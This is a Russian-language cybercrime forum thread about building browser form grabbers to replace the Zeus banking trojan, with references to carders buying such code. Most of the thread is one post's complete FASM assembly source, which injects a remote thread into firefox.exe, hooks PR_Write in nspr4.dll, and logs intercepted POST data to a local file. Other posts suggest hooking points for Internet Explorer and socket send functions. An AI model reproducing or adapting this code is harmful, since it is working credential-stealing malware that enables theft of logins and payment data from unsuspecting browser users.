• XSS.stack #1 – первый литературный журнал от юзеров форума

Формграббер (winAPI)

Пожалуйста, обратите внимание, что пользователь заблокирован
Продавать будешь? Внимание будьте осторожны скоро на рынке выйдет новый зевсоподбный! :lol2:

Думаешь тебе кто-то подарит сорцы формграббера хорошего? Я тебе так скажу даже кардеры мечутся в панике ищут кодеров кто бы им за 15к$ написал только что бы избавиться от зевса.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пролестнул в конец и увидел:
В целом сам код производит хорошее впечатление, везде GetLastError и прочие проверки. Перед удалением файлов, например, выставляются аттрибуты "архивный", что предотвращает от ошибок удаления реад-онли файлов.

Итого, хороший функционал, хороший код, хорошо прячется, маленький размер и хорошо жмется. Но, мало функций как бота, лишь загрузка и исполнение ехе, да никому не нужное уничтожение ос. Из "приватных" технологий возможно лишь обход ограничений лимитированной записи, а остальное можно найти в учебниках по программированию и мсдн. Инжекты в процессы наверняка будут жестоко палится проактивкой, что сводит на нет все функции.

Отбило желание читать всё с начало, после таких выводов. :-D
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дык обзор написан 03-08-2007. Два года ему уже какбэ. Но думаю сновные принципы не изменились.
Вот логически правильно, обзор сделан 2 года назад но зевс и на данный момент не изменился :D
 
на exploit.in выложил реализацию на с++ формграбера для IE через COM с коментариями еще 2005 года, авось поможет с начинаниями ;)
как сграбить с FF подумай сам, но принцип примерно тотже
 
elsuk
Да вот принцип как раз иной, чем через COM интерфейсы ишака :)
а никто и не говорит что FF через COM надо грабить,там движок другой следовательно и подсоединятся к окнам по др надо, но принцип то тотже самый установил хук на окно дождался загрузки, подправил, сграбил, отправил
 
elsuk
Ну тут да, каждый дрочит как хочет, но есть же еще и куки и прочие http хидеры, да и окна разные, капча попадается итп... В общем я бы предпочел перехват функций nspr4.dll
 
Хм не понимаю зачем так далеко ходить если можно в первоисточниках все посмотреть :)

Есть два способо тупой под IE:
MSDN-1
Примеры:
Пример1
Пример2

Менее тупой это перехват API из этого списка, каких именно смотри urlmon.dll (что касательно IE и производных )
MSDN-2

По остальным браузерам типа FF, Opera, etc. придется самому поглядеть как что там устроено и какие API нужно перехватывать ...

Как перехватывать смотри Рихтера, да и в Сети полно на эту тему (не привожу примеры поскольку методов перехвата множество)

P.S. Самое главное и единственно весь перехват и подмена должны быть до начала HTTPS сесси .
 
Вот здесь юзается перехват функи PR_Write из библиотеки nspr4.dll, которая входит в состав фф.
Код:
format PE GUI 4.0


entry start

  include 'D:\INCLUDE\win32a.inc'
  include 'D:\INCLUDE\ddk\myincs.inc'
  include 'D:\INCLUDE\MACRO\IF.inc'




TH32CS_SNAPPROCESS = 2


section '.code' code readable writeable executable


    target_name     db 'firefox.exe',0


;...............[INJECT CODE]..................;

remote_thread:

  call delta
delta:
	pop ebp;
	sub ebp,delta
	jmp First

     KernelBase dd ?
     GPAcall dd ?
     GMHcall dd ?
     HUser32 dd ?
     VirtProt dd  ?
     OldProt db ?
     HMod dd ?
     hFile dd ?
     flbytes dd ?
     CreateFileCall dd ?
     SetFilePointerCall dd ?
     WriteFileCall dd ?
     CloseHandleCall dd ?
    FuncAdr dd ?
    eaxrest dd ?
    esprest dd ?
    ecxrest dd ?
    edxrest dd ?
    ebxrest dd ?
    edirest dd ?
    esirest dd ?
    ebprest dd ?
    dataadr dd ?
    datalen dd ?

First:

	;Kernel Base  ->
  xor eax,eax
  mov eax,[fs:eax+30h]
  mov eax,[eax+0ch]
  mov esi,[eax+1ch]
  lodsd
  mov eax,[eax+08h]
  mov [KernelBase+ebp],eax
	;Kernel Export   ->
  mov edi,eax
  add edi,[eax+3ch]; NTHeader
  add edi,78h; DataDirectory
  mov esi,[edi]
  add eax,esi
	;Addres of GetProcAddress in [GPA]

  mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
  add ebx,[KernelBase+ebp]
  mov edx,1
  _find:
  push ebx
  mov ecx,14
  mov eax,[ebx]
  add eax,[KernelBase+ebp]
  mov esi,eax
  lea edi,[GPA+ebp]
  cld
  repe cmpsb
  jz _ok
  pop ebx
  add ebx,4
  inc edx
  jmp _find
  _ok:
  xor eax,eax
  mov eax,[KernelBase+ebp]

	;Kernel Export   ->
  mov edi,eax
  add edi,[eax+3ch]; NTHeader
  add edi,78h; DataDirectory
  mov esi,[edi]
  add eax,esi


	;---
  mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
  add ebx,[KernelBase+ebp]
  shl  edx,1
  add ebx,edx
  mov edx,[ebx]
  movzx ebx,dx
	;------------
  sub ebx,1
  shl ebx,2
  mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
  add eax,[KernelBase+ebp]
  add eax,ebx
  mov ecx,[eax]
  add ecx,[KernelBase+ebp]
  mov [GPAcall+ebp],ecx
  pop ecx
	;----------------End Get Address of GetProcAddress--------
  lea ecx,[GMH+ebp]
  lea edx,[KernelBase+ebp]
  mov edx,[edx]
  push ecx
  push edx
  call [GPAcall+ebp]
  mov [GMHcall+ebp],eax
	;-------------End Get Address of GetModuleHanle--------
  mov ecx,USER32
  call GetModHandle
  mov [HUser32+ebp],eax
	;----------------- Handle of User32.dll ----------------
  mov ecx,VirtualProt
  mov eax,KernelBase
  call GetAddr
  mov [VirtProt+ebp],eax
	;----------------- VirtualProtect -----------------
  mov ecx,CreateFileStr
  mov eax,KernelBase
  call GetAddr
  mov [CreateFileCall+ebp],eax
	;----------------  CreatFileA ---------------------
  mov ecx,SetFilePointerStr
  mov eax,KernelBase
  call GetAddr
  mov [SetFilePointerCall+ebp],eax
	;----------------- SetFilePointer ------------------
  mov ecx,WriteFileStr
  mov eax,KernelBase
  call GetAddr
  mov [WriteFileCall+ebp],eax
	;------------------ WriteFile -------------------
  mov ecx,CloseHandleStr
  mov eax,KernelBase
  call GetAddr
  mov [CloseHandleCall+ebp],eax
	;---------------------- CloseHandle ----------------------

  push NPR
  push PR_WriteStr
  push nspr4
  call HookAPI
  ret
  NPR:
	;>>>>>>>>>>>>>>>>Comand from orig func<<<<<<<<<<<<<<<<<<
  mov eax, dword[ss:esp+4]
  mov ecx, dword [ds:eax]
	;>>>>>>>>>>>>>>>>Comand from orig func<<<<<<<<<<<<<<<<<<

       ;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
  call deltax
      deltax:
  pop edx;
  sub edx,deltax
       ;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
       ;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
  mov [ebxrest+edx],ebx
  mov [edirest+edx],edi
  mov [esirest+edx],esi
  mov [ecxrest+edx],ecx
  mov [ebprest+edx],ebp
  mov [eaxrest+edx],eax
	;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
	;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
   mov ebp,edx
   mov  eax,[esp+0x08];addr of post
  .if dword [eax]<>'POST'
    jmp NoWork
  .endif
   mov [dataadr+ebp],eax
   mov eax,[esp+0x0C]
   mov [datalen+ebp],eax
   push [dataadr+ebp]
   push  [datalen+ebp]
   call WriteToFile
     NoWork:
   mov edx,ebp
	;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
	;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
  mov ebx,[ebxrest+edx]
  mov edi,[edirest+edx]
  mov esi,[esirest+edx]
  mov ecx,[ecxrest+edx]
  mov ebp,[ebprest+edx]
  mov eax,[eaxrest+edx]
	;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
	;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
  mov edx,[FuncAdr+edx]
  add edx,$06
  jmp edx
	;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
  ret



  GetModHandle:;ecx-module name
  lea ecx,[ecx+ebp]
  push ecx
  call [GMHcall+ebp]
  ret

   GetAddr:;ecx-Func Name, eax-Handle of module
  lea ecx,[ecx+ebp]
  push ecx
  lea eax,[eax+ebp]
  mov eax,[eax]
  push eax
  call [GPAcall+ebp]
  ret

   HookAPI:
  pop edi;ret addr
  pop ecx;name module
  call GetModHandle
  mov [HMod+ebp],eax
  mov eax,HMod
  pop ecx;name func
  call GetAddr
  mov [FuncAdr+ebp],eax
  lea esi,[OldProt+ebp]
  invoke VirtProt+ebp,[FuncAdr+ebp],6,PAGE_EXECUTE_READWRITE,esi
  pop edx; addr my func
  lea edx,[edx+ebp]
  sub edx,[FuncAdr+ebp]
  sub edx,5
  xchg eax,edx; jmp value eax
  mov edx,[FuncAdr+ebp]
  mov byte [edx],$E9
  mov dword [edx+1],eax
  mov byte [edx+5],$41 ;INC ECX
  invoke VirtProt+ebp,[FuncAdr+ebp],6,[esi],esi
  jmp edi


   WriteToFile:
  pop edi
  lea edx,[Namef+ebp]
  invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
  mov [hFile+ebp],eax
  invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END
  lea edx,[flbytes+ebp]
  pop ebx;size buff
  pop ecx; addr buff
  invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h
  lea ecx,[EndLine+ebp]
  lea edx,[flbytes+ebp]
  invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h
  lea edx,[hFile+ebp]
  invoke CloseHandleCall+ebp,[edx]
  jmp edi

EndLine db 0x0A,0
PR_WriteStr db 'PR_Write',0
nspr4 db 'nspr4.dll',0
Namef db 'C:\FireFox.txt',0
CloseHandleStr db 'CloseHandle',0
WriteFileStr db 'WriteFile',0
SetFilePointerStr db 'SetFilePointer',0
CreateFileStr db 'CreateFileA',0
GPA db 'GetProcAddress',0
GMH db 'GetModuleHandleA',0
USER32 db 'user32.dll',0
VirtualProt db 'VirtualProtect',0


thread_end:

;...............[END INJECT CODE]..............;
    p_ent     PROCESSENTRY32

find_target:
    xor     esi,esi

 .shot:
	mov	[p_ent.dwSize],sizeof.PROCESSENTRY32
    invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi
    inc     eax
    je     .not_found
    dec     eax
    xchg    eax,edi

    invoke  Process32First,edi,p_ent

 .next_prc:
    xchg    eax,ecx
    jecxz   .not_found

    invoke  lstrcmpi,p_ent.szExeFile,target_name
    xchg    eax,ecx
    jecxz   .found

    invoke  Process32Next,edi,p_ent
    jmp     .next_prc

 .found:
    invoke  CloseHandle,edi
    mov     eax,[p_ent.th32ProcessID]
    ret

 .not_found:
    xor     eax,eax
    ret

inject_code:
    xor     esi,esi
    invoke  OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax

    xchg    eax,ecx
    jecxz   .exit

    xchg    ecx,edi

    invoke  VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE
    xchg    eax,ecx
    jecxz   .close_h

    xchg    ecx,ebp

    invoke  WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi

    dec     eax
    test    eax,eax
    jnz     .close_h
    inc     eax

    invoke  CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi

  .close_h:
    invoke  CloseHandle,edi

  .exit:
    ret



start:
    call    find_target
    test    eax,eax
    je     .exit


    call    inject_code

  .exit:
    push    0
    call    [ExitProcess]


section '.idata' data import readable

  library kernel32,'KERNEL32.DLL',\
   user32,'USER32.DLL'

  include 'D:\INCLUDE\API\kernel32.inc'
  include 'D:\INCLUDE\API\user32.inc'

Взято отсюда(копирайты там же):
exploit.in/forum/index.php?showtopic=32987
 
Вот здесь юзается перехват функи PR_Write из библиотеки nspr4.dll, которая входит в состав фф.
если честно я так и не понял чо на ней так все зациклились, это почти аналог send, можно спокойно перехватывать WS2_32!send или mswsock!send результат тот же... может в ней есть смысл для https хотя сомневаюсь
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх